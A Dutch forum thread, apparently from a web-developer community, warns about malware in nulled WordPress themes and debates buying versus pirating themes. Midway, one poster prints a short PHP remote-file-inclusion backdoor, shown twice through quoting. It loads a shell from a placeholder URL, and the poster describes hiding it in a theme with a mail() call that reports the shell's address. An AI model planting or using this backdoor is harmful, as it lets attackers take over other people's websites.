Xjessex schreef:ja, maar dat is anders hé, daar kan je duidelijk de wijzigingen zien aan je codebase, bij een WP plugin is dat niet het geval omdat het apart staat van de WP core zelf.In mijn repos wordt de code altijd eerst gecontroleerd voordat de pull request (github) gemerged wordt.
Dat lijkt mij ook vrij logisch. Niet dat iemand ineens je repo forked, virus erin stopt en pr opent en dat jij dat zomaar ff gaat mergen
[WP] Pas op met nulled themas en plugins
Aarclay schreef:Ik heb dit wel eens gedaan een jaar geleden. Ik had een template gedownload, getest. Deze beviel me en dezelfde avond aangeschaft op themeforest.Betaal er gewoon voor. Die mensen moet ook hun brood verdienen.Eerdere citaten tonen
Jponsen schreef:Sowieso nulled themas
Gewoon kopen of zelf maken. Niet illegaal downloaden en dan claimen als zelf gemaakt wat de meeste doen.
Ik mag toch wel even testen of de template goed werkt, en of de code een beetje goed is...
Ik wil wel kwalitatief goed spul hebben, en geen inferieure meuk!
Janm schreef:Jaa precies. Kijk als je het zo doet maakt het ook niet uit. Maar helaas zijn de meeste niet zo, en die denken zo van "Ja, waarom zou ik hem kopen als ik hem gratis kan krijgen?".Ik heb dit wel eens gedaan een jaar geleden. Ik had een template gedownload, getest. Deze beviel me en dezelfde avond aangeschaft op themeforest.Eerdere citaten tonen
Aarclay schreef:Betaal er gewoon voor. Die mensen moet ook hun brood verdienen.Eerdere citaten tonen
Jponsen schreef:Sowieso nulled themas
Gewoon kopen of zelf maken. Niet illegaal downloaden en dan claimen als zelf gemaakt wat de meeste doen.
Ik mag toch wel even testen of de template goed werkt, en of de code een beetje goed is...
Ik wil wel kwalitatief goed spul hebben, en geen inferieure meuk!
Ik heb mooi een betaald thema voor mn installatie dus ik geloof niet dat er iets aan de hand is ofzo 

Owja want je kan alleen door gratis templates gehackt worden?

Xjessex schreef:Ik neem aan dat de kans dat een thema van Themeforest van een topauteur (hoe ze daar ook heten) geen malafide code bevatOwja want je kan alleen door gratis templates gehackt worden?

Kans is wel kleiner.
Maar de code controleren is een kleine moeite.
Maar de code controleren is een kleine moeite.
Willemmm schreef:Misschien niet de topauteurs, die verdienen immers meer dan voldoende met de prijzen van die templatesIk neem aan dat de kans dat een thema van Themeforest van een topauteur (hoe ze daar ook heten) geen malafide code bevatEerdere citaten tonen
Xjessex schreef:Owja want je kan alleen door gratis templates gehackt worden?

Maar van goedkopere templates zie ik niet in waarom iemand het niet zou kunnen doen.
Ik ken dit maar al te goed, vroeger bij een vriend gedaan die mijn wordpress theme naaide :3
Codeblok (voorbeeld.php):
1
2
3
4
5
6
7
8
if(isset($_GET[file]))
{
$file = $_GET[file];
include($file);
}
?>
Dit plaats je in een theme, je gaat naar ?file="SHELL URL HIER"
en boem.
Jammer genoeg gebruiken mensen dit ook om anderen te naaien.
Mensen plaatsen dit dan in een vaag bestand weggestopt ineen theme, en maken een mail() aan met de shell url erin; mij wel s gebeurd ):.
Codeblok (voorbeeld.php):
1
2
3
4
5
6
7
8
if(isset($_GET[file]))
{
$file = $_GET[file];
include($file);
}
?>
Dit plaats je in een theme, je gaat naar ?file="SHELL URL HIER"
en boem.
Jammer genoeg gebruiken mensen dit ook om anderen te naaien.
Mensen plaatsen dit dan in een vaag bestand weggestopt ineen theme, en maken een mail() aan met de shell url erin; mij wel s gebeurd ):.
Dan moet je ook allow_url_include op ON zetten.
Aarclay schreef:Het is uiteraard maar een voorbeeldje. En bovendien gebruiken gebruikers bijvoorbeeld ook slechtbeveiligde VPS-en e.d.Dan moet je ook allow_url_include op ON zetten.
Je systeem is altijd zo zwak als de zwakste schakel.
Aar, ik kan hier geen voorbeelden geven, maar google eens naar htp5, hij heeft fuhosin gemaakt, die alle ini dingen bypassed.. Jammer genoeg.?
Ezsneaky schreef:Kan er niks over vinden en ik geloof het ook niet echt.Aar, ik kan hier geen voorbeelden geven, maar google eens naar htp5, hij heeft fuhosin gemaakt, die alle ini dingen bypassed.. Jammer genoeg.?
Suhosin bedoel je. Een PHP hardener die wat patches toevoegt.
Ja, excuses, Fuhosin was op Suhosin gebaseerd...
Zelfs one2xs is hier vatbaar voor.. (Shell executation/rooting)
Zelfs one2xs is hier vatbaar voor.. (Shell executation/rooting)
...